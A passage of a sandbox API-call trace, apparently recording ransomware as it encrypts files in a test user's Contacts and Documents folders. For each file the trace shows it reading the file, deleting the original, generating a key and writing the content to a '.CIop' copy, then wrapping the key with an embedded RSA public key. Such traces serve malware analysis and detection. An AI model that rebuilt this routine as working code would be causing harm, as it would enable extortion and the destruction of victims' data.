[0088.627] CloseHandle (hObject=0x38c) returned 1 [0088.627] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Contacts\\lulcit amkdfe.contact" (normalized: "c:\\users\\ciihmnxmn6ps\\contacts\\lulcit amkdfe.contact")) returned 1 [0088.628] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2f10000 [0088.629] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2f20000 [0088.629] SetErrorMode (uMode=0x1) returned 0x1 [0088.629] CryptAcquireContextW (in: phProv=0x306e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x306e5b8*=0x5ebe78) returned 1 [0088.631] CryptGenKey (in: hProv=0x5ebe78, Algid=0x1, dwFlags=0x4000, phKey=0x306e5bc | out: phKey=0x306e5bc*=0x5d6548) returned 1 [0088.678] CryptExportKey (in: hKey=0x5d6548, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x306e5ec | out: pbData=0x0*, pdwDataLen=0x306e5ec*=0x94) returned 1 [0088.678] CryptExportKey (in: hKey=0x5d6548, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2f20000, pdwDataLen=0x306e5ec | out: pbData=0x2f20000*, pdwDataLen=0x306e5ec*=0x94) returned 1 [0088.678] CryptDestroyKey (hKey=0x5d6548) returned 1 [0088.678] CryptReleaseContext (hProv=0x5ebe78, dwFlags=0x0) returned 1 [0088.678] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Contacts\\lulcit amkdfe.contact.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\contacts\\lulcit amkdfe.contact.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0088.678] WriteFile (in: hFile=0x39c, lpBuffer=0x5e9e20*, nNumberOfBytesToWrite=0x496, lpNumberOfBytesWritten=0x306e5d8, lpOverlapped=0x0 | out: lpBuffer=0x5e9e20*, lpNumberOfBytesWritten=0x306e5d8*=0x496, lpOverlapped=0x0) returned 1 [0088.679] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x496 [0088.679] WriteFile (in: hFile=0x39c, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x306e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x306e5d8*=0x7, lpOverlapped=0x0) returned 1 [0088.679] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x49d [0088.679] SetErrorMode (uMode=0x1) returned 0x1 [0088.679] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0088.679] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x306d5b8, pcbBinary=0x306d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x306d5b8, pcbBinary=0x306d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0088.679] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x306d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x306d5a0, pcbStructInfo=0x306d598 | out: pvStructInfo=0x306d5a0, pcbStructInfo=0x306d598) returned 1 [0088.679] CryptAcquireContextW (in: phProv=0x306d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x306d5a8*=0x5ebc58) returned 1 [0088.679] CryptImportPublicKeyInfoEx (in: hCryptProv=0x5ebc58, dwCertEncodingType=0x1, pInfo=0x5e75f8, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x306d5b0 | out: phKey=0x306d5b0*=0x5d6288) returned 1 [0088.679] CryptEncrypt (in: hKey=0x5d6288, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x306d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x306d5b4*=0x80) returned 1 [0088.680] CryptEncrypt (in: hKey=0x5d6288, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5ebce0*, pdwDataLen=0x306d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x5ebce0*, pdwDataLen=0x306d5a4*=0x80) returned 1 [0088.680] WriteFile (in: hFile=0x39c, lpBuffer=0x5ebce0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x306e5d8, lpOverlapped=0x0 | out: lpBuffer=0x5ebce0*, lpNumberOfBytesWritten=0x306e5d8*=0x80, lpOverlapped=0x0) returned 1 [0088.680] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.680] VirtualFree (lpAddress=0x2f10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.680] VirtualFree (lpAddress=0x2f20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.680] CloseHandle (hObject=0x39c) returned 1 [0088.681] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Contacts\\lulcit amkdfe.contact" (normalized: "c:\\users\\ciihmnxmn6ps\\contacts\\lulcit amkdfe.contact")) returned 0 Thread: id = 37 os_tid = 0xf88 [0088.682] lstrcpyA (in: lpString1=0x31ae5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0088.682] lstrcpyW (in: lpString1=0x31af368, lpString2="sikvnb huvuib.contact" | out: lpString1="sikvnb huvuib.contact") returned="sikvnb huvuib.contact" [0088.682] lstrcpyW (in: lpString1=0x31af768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Contacts\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Contacts\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Contacts\\" [0088.682] SetErrorMode (uMode=0x1) returned 0x1 [0088.682] wsprintfW (in: param_1=0x31aeb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Contacts\\sikvnb huvuib.contact") returned 56 [0088.682] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Contacts\\sikvnb huvuib.contact", dwFileAttributes=0x20) returned 1 [0088.682] StrStrW (lpFirst="sikvnb huvuib.contact", lpSrch=".CIop") returned 0x0 [0088.682] wsprintfW (in: param_1=0x31ae758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Contacts\\sikvnb huvuib.contact.CIop") returned 61 [0088.682] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Contacts\\sikvnb huvuib.contact" (normalized: "c:\\users\\ciihmnxmn6ps\\contacts\\sikvnb huvuib.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3a0 [0088.682] ReadFile (in: hFile=0x3a0, lpBuffer=0x5c3a68, nNumberOfBytesToRead=0x51f, lpNumberOfBytesRead=0x31ae5e8, lpOverlapped=0x0 | out: lpBuffer=0x5c3a68*, lpNumberOfBytesRead=0x31ae5e8*=0x51f, lpOverlapped=0x0) returned 1 [0088.683] CloseHandle (hObject=0x3a0) returned 1 [0088.683] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Contacts\\sikvnb huvuib.contact" (normalized: "c:\\users\\ciihmnxmn6ps\\contacts\\sikvnb huvuib.contact")) returned 1 [0088.684] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2dd0000 [0088.685] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2de0000 [0088.685] SetErrorMode (uMode=0x1) returned 0x1 [0088.685] CryptAcquireContextW (in: phProv=0x31ae5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x31ae5b8*=0x5ebf88) returned 1 [0088.687] CryptGenKey (in: hProv=0x5ebf88, Algid=0x1, dwFlags=0x4000, phKey=0x31ae5bc | out: phKey=0x31ae5bc*=0x5d6548) returned 1 [0088.729] CryptExportKey (in: hKey=0x5d6548, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x31ae5ec | out: pbData=0x0*, pdwDataLen=0x31ae5ec*=0x94) returned 1 [0088.729] CryptExportKey (in: hKey=0x5d6548, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2de0000, pdwDataLen=0x31ae5ec | out: pbData=0x2de0000*, pdwDataLen=0x31ae5ec*=0x94) returned 1 [0088.729] CryptDestroyKey (hKey=0x5d6548) returned 1 [0088.729] CryptReleaseContext (hProv=0x5ebf88, dwFlags=0x0) returned 1 [0088.729] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Contacts\\sikvnb huvuib.contact.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\contacts\\sikvnb huvuib.contact.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3a0 [0088.729] WriteFile (in: hFile=0x3a0, lpBuffer=0x5c3a68*, nNumberOfBytesToWrite=0x51f, lpNumberOfBytesWritten=0x31ae5d8, lpOverlapped=0x0 | out: lpBuffer=0x5c3a68*, lpNumberOfBytesWritten=0x31ae5d8*=0x51f, lpOverlapped=0x0) returned 1 [0088.730] SetFilePointer (in: hFile=0x3a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x51f [0088.730] WriteFile (in: hFile=0x3a0, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x31ae5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x31ae5d8*=0x7, lpOverlapped=0x0) returned 1 [0088.730] SetFilePointer (in: hFile=0x3a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x526 [0088.730] SetErrorMode (uMode=0x1) returned 0x1 [0088.730] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0088.730] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x31ad5b8, pcbBinary=0x31ad5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x31ad5b8, pcbBinary=0x31ad5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0088.730] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x31ad5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x31ad5a0, pcbStructInfo=0x31ad598 | out: pvStructInfo=0x31ad5a0, pcbStructInfo=0x31ad598) returned 1 [0088.730] CryptAcquireContextW (in: phProv=0x31ad5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x31ad5a8*=0x5ec010) returned 1 [0088.731] CryptImportPublicKeyInfoEx (in: hCryptProv=0x5ec010, dwCertEncodingType=0x1, pInfo=0x5e7c78, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x31ad5b0 | out: phKey=0x31ad5b0*=0x5d5e48) returned 1 [0088.731] CryptEncrypt (in: hKey=0x5d5e48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x31ad5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x31ad5b4*=0x80) returned 1 [0088.731] CryptEncrypt (in: hKey=0x5d5e48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5ebd68*, pdwDataLen=0x31ad5a4*=0x75, dwBufLen=0x80 | out: pbData=0x5ebd68*, pdwDataLen=0x31ad5a4*=0x80) returned 1 [0088.731] WriteFile (in: hFile=0x3a0, lpBuffer=0x5ebd68*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x31ae5d8, lpOverlapped=0x0 | out: lpBuffer=0x5ebd68*, lpNumberOfBytesWritten=0x31ae5d8*=0x80, lpOverlapped=0x0) returned 1 [0088.731] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.731] VirtualFree (lpAddress=0x2dd0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.731] VirtualFree (lpAddress=0x2de0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.731] CloseHandle (hObject=0x3a0) returned 1 [0088.732] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Contacts\\sikvnb huvuib.contact" (normalized: "c:\\users\\ciihmnxmn6ps\\contacts\\sikvnb huvuib.contact")) returned 0 Thread: id = 38 os_tid = 0xf8c [0088.764] lstrcpyA (in: lpString1=0x2f0e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0088.764] lstrcpyW (in: lpString1=0x2f0f368, lpString2="1u1PtMsi_p5I6Kp0gVZ.xlsx" | out: lpString1="1u1PtMsi_p5I6Kp0gVZ.xlsx") returned="1u1PtMsi_p5I6Kp0gVZ.xlsx" [0088.764] lstrcpyW (in: lpString1=0x2f0f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0088.764] SetErrorMode (uMode=0x1) returned 0x1 [0088.764] wsprintfW (in: param_1=0x2f0eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\1u1PtMsi_p5I6Kp0gVZ.xlsx") returned 60 [0088.764] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\1u1PtMsi_p5I6Kp0gVZ.xlsx", dwFileAttributes=0x20) returned 1 [0088.765] StrStrW (lpFirst="1u1PtMsi_p5I6Kp0gVZ.xlsx", lpSrch=".CIop") returned 0x0 [0088.765] wsprintfW (in: param_1=0x2f0e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\1u1PtMsi_p5I6Kp0gVZ.xlsx.CIop") returned 65 [0088.765] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\1u1PtMsi_p5I6Kp0gVZ.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1u1ptmsi_p5i6kp0gvz.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0088.766] ReadFile (in: hFile=0x39c, lpBuffer=0x60bf98, nNumberOfBytesToRead=0xe91f, lpNumberOfBytesRead=0x2f0e5e8, lpOverlapped=0x0 | out: lpBuffer=0x60bf98*, lpNumberOfBytesRead=0x2f0e5e8*=0xe91f, lpOverlapped=0x0) returned 1 [0088.766] CloseHandle (hObject=0x39c) returned 1 [0088.766] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\1u1PtMsi_p5I6Kp0gVZ.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1u1ptmsi_p5i6kp0gvz.xlsx")) returned 1 [0088.768] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2f10000 [0088.768] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2f20000 [0088.768] SetErrorMode (uMode=0x1) returned 0x1 [0088.768] CryptAcquireContextW (in: phProv=0x2f0e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x2f0e5b8*=0x5ec098) returned 1 [0088.770] CryptGenKey (in: hProv=0x5ec098, Algid=0x1, dwFlags=0x4000, phKey=0x2f0e5bc | out: phKey=0x2f0e5bc*=0x5d6c48) returned 1 [0088.799] CryptExportKey (in: hKey=0x5d6c48, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x2f0e5ec | out: pbData=0x0*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0088.799] CryptExportKey (in: hKey=0x5d6c48, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2f20000, pdwDataLen=0x2f0e5ec | out: pbData=0x2f20000*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0088.799] CryptDestroyKey (hKey=0x5d6c48) returned 1 [0088.799] CryptReleaseContext (hProv=0x5ec098, dwFlags=0x0) returned 1 [0088.799] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\1u1PtMsi_p5I6Kp0gVZ.xlsx.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1u1ptmsi_p5i6kp0gvz.xlsx.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0088.800] WriteFile (in: hFile=0x39c, lpBuffer=0x60bf98*, nNumberOfBytesToWrite=0xe91f, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x60bf98*, lpNumberOfBytesWritten=0x2f0e5d8*=0xe91f, lpOverlapped=0x0) returned 1 [0088.801] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xe91f [0088.801] WriteFile (in: hFile=0x39c, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x2f0e5d8*=0x7, lpOverlapped=0x0) returned 1 [0088.801] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xe926 [0088.801] SetErrorMode (uMode=0x1) returned 0x1 [0088.801] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0088.801] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0088.801] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x2f0d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598 | out: pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598) returned 1 [0088.801] CryptAcquireContextW (in: phProv=0x2f0d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2f0d5a8*=0x5ebdf0) returned 1 [0088.802] CryptImportPublicKeyInfoEx (in: hCryptProv=0x5ebdf0, dwCertEncodingType=0x1, pInfo=0x5e7e18, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x2f0d5b0 | out: phKey=0x2f0d5b0*=0x5d5f88) returned 1 [0088.802] CryptEncrypt (in: hKey=0x5d5f88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x80) returned 1 [0088.802] CryptEncrypt (in: hKey=0x5d5f88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5ec890*, pdwDataLen=0x2f0d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x5ec890*, pdwDataLen=0x2f0d5a4*=0x80) returned 1 [0088.802] WriteFile (in: hFile=0x39c, lpBuffer=0x5ec890*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x5ec890*, lpNumberOfBytesWritten=0x2f0e5d8*=0x80, lpOverlapped=0x0) returned 1 [0088.802] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.803] VirtualFree (lpAddress=0x2f10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.803] VirtualFree (lpAddress=0x2f20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.803] CloseHandle (hObject=0x39c) returned 1 [0088.805] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\1u1PtMsi_p5I6Kp0gVZ.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1u1ptmsi_p5i6kp0gvz.xlsx")) returned 0 Thread: id = 39 os_tid = 0xf90 [0088.826] lstrcpyA (in: lpString1=0x2f0e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0088.826] lstrcpyW (in: lpString1=0x2f0f368, lpString2="4CDCeVLoOGDNNc.xlsx" | out: lpString1="4CDCeVLoOGDNNc.xlsx") returned="4CDCeVLoOGDNNc.xlsx" [0088.826] lstrcpyW (in: lpString1=0x2f0f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" | out: 